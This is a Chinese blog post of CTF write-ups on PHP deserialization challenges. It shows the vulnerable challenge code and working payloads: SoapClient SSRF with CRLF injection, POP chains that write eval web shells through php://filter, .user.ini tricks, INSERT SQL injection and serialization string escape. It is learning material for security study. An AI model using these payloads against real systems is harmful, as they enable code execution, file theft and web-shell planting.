文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-08-18   10.9k

BUUCTF刷题——PHP反序列化

LCTF2018 Bestphp’s revenge

这篇文章分析的很到位:https://www.anquanke.com/post/id/164569#h2-5

考点

  • session反序列化
  • Soapclient + ssrf
  • CRLF

解题

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

flag.php

1
2
3
4
5
6
7
8
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

思路如下:

  1. 利用第4行回调函数来调用session_start()用于覆盖session序列化引擎为php_serilaze;
  2. 构造SSRF的Soap类的序列化字符串配合上面的序列化注入写入session文件,并且构造的序列化字符串中利用了CRLF漏洞写入了我们规定的seesion_id;
  3. 然后再通过第4行的回调函数调用extract()函数用于变量覆盖,覆盖掉变量b为回调函数call_user_func
  4. 同时我们可以传入name=SoapClient,那么最后call_user_func($b, $a)就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')),即call_user_func(SoapClient->welcome_to_the_lctf2018),由于SoapClient类中没有welcome_to_the_lctf2018这个方法,就会调用魔术方法__call()从而发送请求。
  5. 发送请求也就是去访问flag.php,并将结果保存在cookie为第二步我们规定的session_id的文件中。
  6. 再用这个session访问主页,就会var_dumpsession文件的内容,其中就包含字段名为flag的值。

先构造POC:

1
2
3
4
5
6
7
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo '|'.$payload;

这个poc就是利用crlf伪造请求去访问flag.php并将结果保存在cookie为PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4的session中。

再注入反序列化的字符串:

接着触发SoapClient__call方法发送请求:

更改cookie访问:

后记

这道题卡了我一天的时间,还是一个签到题。。。。有一个问题一直困扰我,就是把POC生成的字符串写到session文件后,他是什么时候把session的文件内容给反序列化出来了。后来看了一篇文章才知道:

于是就反序列化了一个SoapClient的实例,再调用__call函数的时候就会通过这个实例发送请求。

强网杯2020青龙组 phpweb

考点

  • PHP反序列化

解题

打开题目,查看源码有两个隐藏输入框

随便输入测试,有一个报错回显,发现这两个输入框是call_user_func函数的参数。

并且基本上过滤危险函数,用file_get_contents读取index.php源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

有一个很明显的__destruct函数,可以执行函数并且没有任何过滤,不过没有触发反序列化的点。

但是还是可以利用gettime函数中的call_user_func函数传入unserialize函数,生成字符串:

1
2
3
4
5
6
7
8
<?php
class Test{
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
}
$t = new Test;
$ut = serialize($t);
echo $ut;

传入参数unserializeO:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

[网鼎杯 2020 青龙组]AreUSerialz

TODO

[安洵杯 2019] easy_serialize_php

考点

  • 代码审计
  • PHP 反序列化对象逃逸

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

根据提示查看phpinfo

直接访问d0g3_f1ag.php没有回显。

TODO

[ZJCTF2019]NiZhuanSiWei

考点

  • 代码审计
  • 文件包含
  • PHP反序列化

解题

直接给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

file_get_contents绕过

有两种方式绕过:

  1. 使用php://input伪协议绕过
    ① 将要GET的参数?xxx=php://input
    ② 用post方法传入想要file_get_contents()函数返回的值
  2. 用data://伪协议绕过
    将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
    或者将url改为:?xxx=data:text/plain,(url编码的内容)
1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

读取useless.php

题目有第二个参数file,大概是include()这个file,题目提示我们要包含useless.php,同时有一个判断是file参数不能传入flag,也就是我们不能直接包含flag.php。

利用php://filter协议读取这个useless.php,构造payload读取useless.php:

1
?file=php://filter/read=convert.base64-encode/resource=useless.php

useless.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("HAHAHAHAHA");
}
}
}

反序列化

useless.php的魔术方法是__toString(),刚好可以使用echo $password触发这个魔术方法。

生成payload:

1
2
3
4
5
6
class Flag{
public $file = "flag.php";
}
$o = new Flag();
$s = serialize($o);
echo $s;

payload:

1
?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

综合起来的payload就是:

1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[MRCTF2020]Ezpop

考点

  • POP链构造

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Modifier {
protected $var="php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}

$s = new Show();
$t = new Test();
$m = new Modifier();
$t->p = $m;
$s->source = $s;
$s->str = $t;
echo urlencode(serialize($s));

[EIS 2019]EzPOP

考点

  • POP链构造
  • php://filter 绕过exit()
  • base64编码规则

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

题目提示的很明显,需要构造一个POP链,能利用的魔法函数只有 A::__destruct(),可能可以利用的敏感函数:B 类 set() 中的 file_put_contents()。先分析一下 file_put_contents() 函数是否满足利用条件:

1
2
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

在 exit() 代码后面拼接 $data 数据,然后写入文件。这样就会导致我们通过$data写入的shll都不会被执行。

exit()函数可以利用base64_decode以及php://filter可以绕过。

谈一谈php://filter的妙用

这里思路是利用 php://filter 提供的各种函数去除 “死亡exit”

接下来开始寻找 POP 链

接下来回溯看$filename和``$data`是怎么来的:

$filename:先调用getCacheKey($name),改方法是执行连接字符串的作用:$this->option['prefix'].$name构成filename。

$data:来自于 $this->serialize($value),所以再关注$value是怎么来的。$valueA::getForStorage()的返回值:json_encode([A::cleanContents(A::cache), A::complete]);
A::cleanContents(A::cache)实现了一个过滤的功能,A::complete更容易控制,直接写为shellcode

其中cleanContents():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

尝试本地运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}
$cache=array();
$complete='<?php @eval($_POST["a"]);?>';
echo json_encode([cleanContents($cache), $complete]);

得到:

1
[[],"<?php @eval($_POST[\"a\"]);?>"]

可以看到直接complete写入shell会使shell中双引号被转义了,所以得考虑用base64编码绕过转义,再在之后解码。由于之后可以让$this->options['serialize']=base64.decode,这样和filter://就共有两处解码处理,所以对应这里考虑编码两次。

最终代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class A {
protected $store;
protected $key;
protected $expire;

public function __construct($store,$key,$expire)
{
$this->key=$key;
$this->expire=$expire;
$this->store=$store;
}
}

class B{
public $option;
}

$b=new B();
$b->options['serialize']='base64_decode';
$b->options['data_compress']=false;
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/';

$a=new A($b,'eval.php',0);
$a->autosave=false;
$a->cache=array();
$a->complete=base64_encode('abc'.base64_encode('<?php @eval($_POST["a"]); ?>'));
//必须添加三个字符使得shell之前的字符串进行base64解码时不影响到shell

echo urlencode(serialize($a));

这里还要了解base64解码特点,base64解码的合法字符只包括[a-zA-Z1-9]+/这64个字符。

  • 编码时:把明文每8位按6位查表转码,不足的位数用=补0
  • 解码时:忽略[",:等64个字符之外的字符,然后逆运算就行

所以要求编码为4的倍数,由于shell前面的字符串中存在的base64编码有效字符只有php//000000000000exit21个字符,因此应该在shell前补上3个有效字符。

[2020 新春红包题]

和上一题类似,在文件名那里做了两个处理,一是文件名包含随机字符,第二点是限制了.php后缀。

解法1

直接写命令,生成flag文件。

参见安全客文章:https://www.anquanke.com/post/id/194036

1
2
3
4
5
6
$testB = new B();
$testB->options['serialize'] = 'system';
$testA = new A($testB, "miao");
$testA->autosave = 0;
$testA->cache = ['aaq' => '`cat /flag > ./flag.xml`'];
echo urlencode(serialize($testA))."\n";

首先autosave要为0,$testB->options['serialize']要为system函数,此时我们对最后的写文件没什莫要求了,但必须要执行到$data = $this->serialize($value);这步,$testA->cache要为system要执行的命令。

解法2

对于前面的随机值,使用/…/即可截断,时间戳将会被认为一个目录,后面即可追加写任意文件。

1
2
3
4
5
6
7
8
9
$b = new B();
$b -> options = array('serialize' => "base64_decode",
'data_compress' => false,
'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/");
$a = new A($store = $b, $key = "/../a.php/.", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = base64_encode('qaq'.base64_encode('<?php @eval($_POST["s"]);?>'));
echo urlencode(serialize($a));

解法3

先可以利用跨目录,这样就可以不去爆破文件名,再利用.user.ini绕过后缀名限制。

上传图片马

1
2
3
4
5
6
7
8
9
10
11
12
$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "base64_decode",
'data_compress' => false,
'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/moyu");

$a = new A($store = $b, $key = "/../../aaaaaa.jpg", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = base64_encode('qaq'.base64_encode('<?php @eval($_POST["moyu"]);?>'));

echo urlencode(serialize($a));

再上传.user.ini

1
2
3
4
5
6
7
8
9
10
11
12
$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "base64_decode",
'data_compress' => false,
'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/moyu");

$a = new A($store = $b, $key = "/../../.user.ini", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = base64_encode('qaq'.base64_encode("\nauto_prepend_file=aaaaaa.jpg"));

echo urlencode(serialize($a));

参考

http://althims.com/2020/01/29/buu-new-year/

moonback

[安洵杯2019]不是文件上传

考点

  • 源码泄露
  • insert注入
  • PHP反序列化

解题

在主页的源码下方有一个开发人员留的信息:wowouploadimage, github搜索这个名称,即可找到源码。

大概就三个功能:上传、查看、删除。

查看源码,发现有一个__destruct()函数,以及file_get_content

1
2
3
4
5
6
7
8
9
10
11
12
13
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

function __destruct(){
# Read some config html
$this->view_files($this->config);
}

再找反序列化触发的点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}

第14行反序列化的值是从数据库中取出的,而序列化的值是图片的长宽,不可控,因此只能尝试SQL注入将attr属性替换掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}

filename字段直接可控,可以在上传图片时修改filename实现注入。

先生成payload:

1
2
3
4
5
6
7
8
9
10
11
<?php

class helper
{
protected $ifview = true;
protected $config = "/flag";
}

$a = new helper();
echo serialize($a);
?>

payload:

1
O:6:"helper":2:{s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}

由于存在替换:

1
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);

所以把payload变为:

1
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

因为上传的文件名中不能有双引号,所以将payload进行16进制编码。

1
0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d

原来的插入语句为

1
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('a','a.jpg','jpg','pic/a.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')

传入title的值:

1
1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg

insert注入后

1
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg','a.jpg','jpg','pic/a.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')

实际上插入了两条数据,取出的时候就会反序列化传入的数据。访问show.php得到flag。

[NPUCTF2020]ReadlezPHP

考点

  • PHP反序列化

解题

打开题目直接查看源码,发现有一个time.php?source,访问即得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

比较简单的反序列化题目,生成payload

1
2
3
4
5
6
7
8
9
10
11
<?php
class HelloPhp
{
public $a;
public $b;
}
$t = new HelloPhp;
$t->a = "phpinfo()";
$t->b = "assert";
$ut = serialize($t);
echo $ut;

然后全局搜索flag。

后记

一开始我使用eval和phpinfo()无法执行 ,报错eval函数没有定义,去StackOverflow上一看,说是eval不能用于动态函数。简单来说就是:

eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用。

什么是可变函数?

可变函数即变量名加括号,PHP系统会尝试解析成函数,如果有当前变量中的值为命名的函数,就会调用。如果没有就报错。
可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require,eval() 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

所以:

  • eval是语言构造器而不是一个函数,不能被可变函数调用
  • 在php7.1版本之后 assert()默认不再可以执行代码

[0CTF2016]piapiapia

考点

  • 数组绕过
  • PHP反序列化字符逃逸

解题

www.zip下载源码,一共有6个PHP文件,其中比较重要的就下面这几个文件。

很明显flag在config.php

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

profile.php文件中有一个很明显的可以读文件的地方$photo = base64_encode(file_get_contents($profile['photo']));,并且$profile变量是经过反序列化的。那么现在的目标就是要把$profile['photo']的值替换成config.phpupdate.php中可以控制$profile变量。主要是下面这一段代码:

1
2
3
4
5
6
7
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

传入了数组中这四个值,然后将数组序列化后带入user类中的update_profile方法中从而更改表信息。然后我们查看内容时会在profile.php中反序列化后返回给我们要看的信息。再去看一下update_profile函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

这是一个防止sql注入的方法,其中他将上面五个sql关键字替换为了hacker。看起来没什么问题,但这却是我们最重要的利用点。

任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。

首先我们看一下一个正常的$profile经过序列化后是什么样子:

1
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";s:5:"ca01h";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

我们更改的信息是要经过序列化存入数据库的,因此如果我们在信息中填入了关键字,比如:

1
a:2:{i:0;s:6:"select";i:1;s:5:"world";}

这样会替换为

1
a:2:{i:0;s:6:"hacker";i:1;s:5:"world";}

反序列化会正常执行,因为字符没什么问题,但如果填入了where。

1
a:2:{i:0;s:5:"where";i:1;s:5:"world";}

会替换为:

1
a:2:{i:0;s:5:"hacker";i:1;s:5:"world";}

这样就会发现会出错,因为where是五个字符,而hacker是六个,对于出where以外的其他都是六字符,所以只有where会出错,因此这就是我们的利用点。当我们把hacker多余的这个r替换成";i:1;s:5:"world";}时,

1
a:2:{i:0;s:5:"hacke";i:1;s:5:"world";}";i:1;s:5:"world";}

php反序列化时会忽略后面的非法部分";i:1;s:5:“world”;},可以反序列化成功。所以我们可以多写几个where,这样在替换时每多出的一个r就为我们构造字符串提供一个位置,我们需要";}s:5:"photo";s:10:"config.php";}加在后面用来读config.php文件。共34个字符,因此需要加34的where,所以最后需要输入的数据为:

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

这样在反序列化后大概就是这情况:

1
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";s:5:"ca01h";s:5:"photo";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

此时这34个字符会包含在204个总字符内。
替换为hacker后:

1
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";s:5:"ca01h";s:5:"photo";s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

因为hacker比where多一个字符,所以正好占据了这多余的34个字符,使得其逃逸了出来,便可以成功反序列化。

payload构造成功了,再找输入点。

md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) = null
strpos(Array(),“abc”) = null
strlen(Array()) = null

下面的这个preg_math可以用数组绕过

1
2
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

参考

https://xz.aliyun.com/t/7570#toc-9

http://www.lin2zhen.top/index.php/archives/73/

[安洵杯 2019]easy_serialize_php

考点

  • phpinfo信息搜集
  • PHP反序列化字符逃逸

解题

上来就直接个源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

很容易看到有一个变量覆盖的漏洞,但是还不知道怎么利用,接着往下看。

传入f=phpinfo可以看到someting,试试看

在每个php文件前面都自动包含了d0g3_f1ag.php,直接访问没有任何回显。

$function=show_image的时候,会调用file_get_contents函数读取文件内容,如果我们能控制$userinfo['img']参数为d0g3_f1ga.php就可以读flag。

但是如果传入img_path参数的话会先对其base64编码然后sha1加密,是一个不可逆的操作。

那么再去看另外两个参数functionuser,其中user也是硬编码无法利用,只能从function参数入手。此外,我们还要注意到有一个filter函数用于过滤phpflagphp5php4fl1g关键字。

任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。

那么这个地方就可以很明显的用到反序列化字符逃逸的漏洞,用于覆盖$userinfo['img']参数为d0g3_f1ag.php。首先看一下一个正常的序列化后的$_SESSION是什么样子的:

1
2
3
4
5
php > $_SESSION["user"] = 'guest';
php > $_SESSION["user"] = 'phpinfo';
php > $_SESSION['img'] = base64_encode('guest_img.png');
php > print_r(serialize($_SESSION));
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:7:"phpinfo";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

我们要覆盖掉序列化后的img参数,也就是要插入s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";},即

1
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:7:"phpinfo";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

这里我们就可以利用变量覆盖漏洞来覆盖$_SESSION["user"]$_SESSION["function"]的值。

假如我们赋值$_SESSION["user"]=flagflagflagflagflagflag$_SESSION["function"]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";},那么序列化后$serialize_info为:

1
